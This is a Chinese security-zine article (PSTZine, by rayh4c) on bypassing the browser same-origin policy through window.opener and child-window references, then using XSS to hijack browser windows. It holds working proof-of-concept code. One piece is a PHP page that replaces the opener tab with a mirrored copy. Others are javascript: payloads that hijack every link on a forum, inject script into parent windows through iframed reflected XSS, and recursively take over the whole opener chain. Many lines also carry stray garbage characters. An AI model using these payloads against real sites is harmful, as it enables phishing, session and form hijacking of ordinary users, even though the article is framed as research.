[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

admin

                           ==Ph4nt0m Security Team==

- g! |, L! M( e* o  v& E$ c  K; e                       Issue 0x03, Phile #0x05 of 0x07

1 G, z3 L  \) T/ S
' G+ g+ ^0 J6 w  i% D: U$ E# m|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
2 {7 G/ V" K' Z8 C|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
) R9 P( x$ H$ S8 d) j|=---------------------------------------------------------------------------=|

" b( N9 ~) _5 j* @3 F! \6 I0 Z6 X
) q# x# @3 E. T( V[目录]
8 w3 z+ `: X& e; n
1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
! B' E% B$ Q6 e4. 窗口引用功能中的同源策略漏洞
  4.1 父窗口引用子窗口的同源策略问题
, c+ L. }4 J8 j5 W' r  4.2 子窗口引用父窗口的同源策略问题
) _' S' F& L6 N" L: n6 J5. 利用窗口引用漏洞劫持浏览器
# _, L$ |: ?) x& X# V. n6. 利用XSS漏洞劫持浏览器
# }0 v  G5 R8 O( o  c1 m! D  w, ^  6.1 正向跨窗口劫持
) u6 E3 [  W0 p& G3 d, |. R" J/ T  6.2 反向跨窗口劫持
  6.3 极度危险的跨框架窗口引用劫持
  6.4 极度危险的正反向跨窗口递归劫持
  6.5 完全控制浏览器
8 m( e2 s* r2 p5 k% H, R) z: E6 M7. 后记
3 M8 r. z  O# j1 L, }3 l+ s8. 参考
( k8 K- q* T  H) r

一、前言
* o  e7 b* ^; O+ X# M: Z4 I
    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
* A! u/ ~. _! E" a% X. Z1 o! L; y友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。

" [- x8 F! a) H) A$ p! b
  Q' `; s3 }& t1 ]二、同源策略简叙

- ~2 X& k7 N! A, b; K, x6 X  Q    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
" S% c* B3 e, e6 M! l+ G, }漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。
9 s* _5 s7 i+ x8 x/ C6 D8 |# H
( |% s8 f( ^9 {3 x4 x
三、理解window对象的同源策略

4 {- |, U) h) k    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：

% d) J. ]6 I$ U7 n, O& {0 b--code-------------------------------------------------------------------------
/ n) L: M$ x  L- S$ e4 a6 s<script language="javascript">
for(p in window) document.write(p+"<br>");
</script>
-------------------------------------------------------------------------------

- B6 V& d. M! i! C* `    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
这些属性和方法就必须遵循同源策略。
; R+ r! C( q5 }0 g! K; q
: E. B0 n  |; _1 J! r' q) F    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
/ G2 ]0 [% W5 H么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
' A+ l6 v* a5 L1 Y' u  m3 S的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
5 \" J7 F2 H) \& T个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
$ _' x8 _; W- h2 d- w' I值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。
& \* }' _% R. x: y0 ?
! Q+ Q- R# L6 ?6 S/ B( ^# K6 U) u--demo.html--------------------------------------------------------------------
" D4 y3 }% X- r0 j- D0 W% w<script language="javascript">   
* K. _0 ^9 x: v" v7 }9 Gfunction allPrpos(obj) {      
      var props = "<table><tr><td>名称</td><td>值</td>";           
, V/ Y, Y" \! o" U9 g# q      for(var p in obj){         
1 X  E, q8 w& F* w6 z1 E! u            if(typeof(obj[p])=="function"){   
2 [% u. v% D2 C) z                   obj[p]();   
             }else{                     
                  try   
9 h0 H$ \0 d' L1 v, f4 d                   {   
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
                   }   
5 L) E- C% Z3 J1 Y( {/ ]                  catch (ex)   
, W) B1 L- R; h2 O                   {   
# M4 k0 D7 j$ K7 d! `& a' \4 T                  
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
                   }   
                       
7 l2 ]- c& J+ T             }   
       }   
$ p* x/ P% ]# n7 y# U' B' e7 w   
; S  P9 ?, u2 _& E' Z8 c1 Q; v       document.write(props+"</table>");   
}   
( ]7 U: F/ ]$ I1 c! \   
function createWin() {
        newWin = window.open ("http://www.google.com");  
        setTimeout(function(){allPrpos(newWin)},2000);
5 }) V2 B# `0 P& g}
# P* s* h! o3 a$ `6 W/ {
</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
9 K" |6 X' d: z% I; U9 `-------------------------------------------------------------------------------
( f, x0 P2 l  l) u6 C

四、窗口引用功能中的同源策略漏洞

4.1 父窗口引用子窗口的同源策略问题

* f; H& f. B" S7 e) s    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
+ T/ ~& N) @( n' z7 i浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
- @% k6 M1 b; Y/ N行测试，会发现父窗口可以控制非同源子窗口location属性值。
+ W& F/ c0 b9 h7 Y7 U' L
--vul1.html--------------------------------------------------------------------
<script language="javascript">
function createWin() {  
        newWin = window.open ("http://www.google.com");  
* L/ K2 q3 Q( b        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
; `  U2 y% K7 |: E, A! h$ C</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
+ X* }% o1 P+ O+ ~$ R. D
, s, c* t0 @2 X, d( I" l
4.2 子窗口引用父窗口的同源策略问题

0 u2 ^* K5 t4 c) d- P, \    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
$ e# G3 s: @3 U+ J, n, [0 ?3 i用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。
0 \) V. \6 W0 e' Z
--code-------------------------------------------------------------------------

javascript:window.opener.location = "http://www.80sec.com";void(0);
. L# O: R& Z% n5 }( b, h
' ^$ k: N. d2 j-------------------------------------------------------------------------------

9 B. p5 {9 H- K) _3 {
# }; t. [0 f- S$ }7 ^五、利用窗口引用漏洞劫持浏览器

    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
会产生什么可怕的后果。
  h* P- ]) b5 k8 }# W, T2 I, z
    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
# _& [) i! m3 s) ]5 c候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
以做更多的事情，所有的一切仅仅是因为点击了一个链接。
/ g7 k; k2 g; m" w! U; s1 P! B, N- l
& q( l: u. s5 `, S7 k0 X$ g--hjk_ref.php------------------------------------------------------------------
<?php
& ?; O1 |( e  o: [5 L& t; iif (array_key_exists("HTTP_REFERER", $_SERVER)) {
* u7 l, B+ f$ s: S& k$Url_Mirror = $_SERVER["HTTP_REFERER"];
! Q; D" }" ?  ]% N% N# }}
if(isset ($_GET['ref'])) {
# Z) P  i( W, r1 Lecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
4 O* D; w( u% P" X; x$ }, Y}
?>
2 l3 r: D8 ~, r* _
<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
: j6 v3 i* E3 x% `$ m2 ^7 m</script>
0 S3 \, j$ f4 V1 O) J-------------------------------------------------------------------------------
# x2 y* v2 Q9 H3 G5 S
    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
5 j+ N( t; t) D; ^' `* m1 s" R, v
3 b2 ^1 ]9 c/ z  s8 g& L4 P
六、利用XSS漏洞劫持浏览器
+ |) L8 T8 P: U/ y
    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
- Y& I. F" @( E7 v持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
4 v( P/ K+ {" @XSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
& G; k! M6 M$ J; Z0 e0 Z+ U# f  z讨论跨站师的终极技巧：
" T2 y9 \3 |- f' T6 T3 }

# |. f5 B- `7 {8 R7 _: y6.1 正向跨窗口劫持

    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
7 @7 q& i$ q" V, [框脚本。
' L% ?' F$ u9 g; e! B& d6 F9 u
. C/ L. x) F7 B+ m7 x' O--hijack_open.js---------------------------------------------------------------
" A+ f' c. g& L6 z
: ^, A9 k: @  |, J7 Q8 u% Qjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

-------------------------------------------------------------------------------
$ x. w* @* z& M, W2 V8 I+ t& ]$ F

6.2 反向跨窗口劫持

    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
& T( z$ a' n5 Q4 F, n- V码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
1 J* v( O: P; Y: A框脚本。

- R: S+ ]+ V& C* ?2 r--hijack_opener.js-------------------------------------------------------------

  a4 c: r# v2 F* W* ?2 u. u$ v0 g8 xjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
) S4 z, i! V' z$ i. I' c
-------------------------------------------------------------------------------
, P$ }3 b- v' {1 w' q. l

% z( n# V! D$ A* e6.3 极度危险的跨框架窗口引用劫持
5 ]; d& {: a' E( b
* E7 Q& W( h. F1 S% V# `    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
5 J$ \; r" R/ E% ~  z可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
非持久型的XSS，如下：

  F& Z9 q0 H2 k8 a9 t8 ~<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>

5 ~2 u2 C3 M* J' l  i* T    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。
4 C7 Q6 ]- o( L
2 ~9 h- y1 Z* y0 l3 k' ~. H--hijack_frame_opener.js-------------------------------------------------------
<script>
3 u7 N9 q# |" j5 u2 ~$ awindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
. t0 F: p* c+ G+ x# p</script>
-------------------------------------------------------------------------------


6.4 极度危险的正反向跨窗口递归劫持
7 M2 `0 T$ A, d' X6 B
    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
  U/ c9 N4 O! o% K# b的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
异常处理规避之间跨域页面的访问异常，代码如下：

$ P1 U1 D9 a5 M( m6 V--code-------------------------------------------------------------------------
/ ?  g' O$ V  Y9 w
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

  j& f: {- o5 Q) Y-------------------------------------------------------------------------------
* ]- s3 X/ ^# B0 z
3 n4 X: v( P  f1 R% l3 ^' B    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
  n& k. [8 i3 [* S. X5 K以劫持B域之前的A域页面，从而实现“隔空打击”。
0 E/ X! v' I! I5 z, h
/ n( @7 D" d$ s. Z! L. `    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
+ \$ T; D) N# k+ J' l执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

8 v* K: l# Z! z7 h( R: @    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。


( U' n- q0 j( E7 y6.5 完全控制浏览器
! i! @8 G5 Z, A5 J0 b2 Q( `: A
% v2 G1 ^4 H" p    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
+ q6 Z( J" c4 Q. [/ V# @8 o, ?" L7 L是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
0 e( y5 u4 A4 U1 ^# M列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
+ |; P" k5 @% E( `师的终极目标 - 完全控制浏览器。
6 s: l% n; ?' a& U* e6 H7 v
5 D* \1 P* E2 K  i$ J
$ @+ L# t2 ^# E% k4 x# E; v七、后记

    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
0 _: S* E: l9 ~1 [

  N. `. @0 v0 s八、参考
9 T+ J7 r" T0 e$ M# j3 \
1. http://en.wikipedia.org/wiki/Same_origin_policy
- u# b. Y* K7 G' S$ Z- b1 _2. http://code.google.com/p/browser ... licy_for_DOM_access
" }5 a# o3 \, U( X. Z1 O7 J3. http://www.w3.org/TR/Window/
) Q4 p; g0 M/ e$ b6 \4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
; ?5 w7 {+ S8 ~1 r6 u( ]/ R6. http://www.80sec.com/ms08-058-attacks-google.html
# A0 Z. d: c$ W( D( z
4 g$ U& U8 @6 W. w-EOF-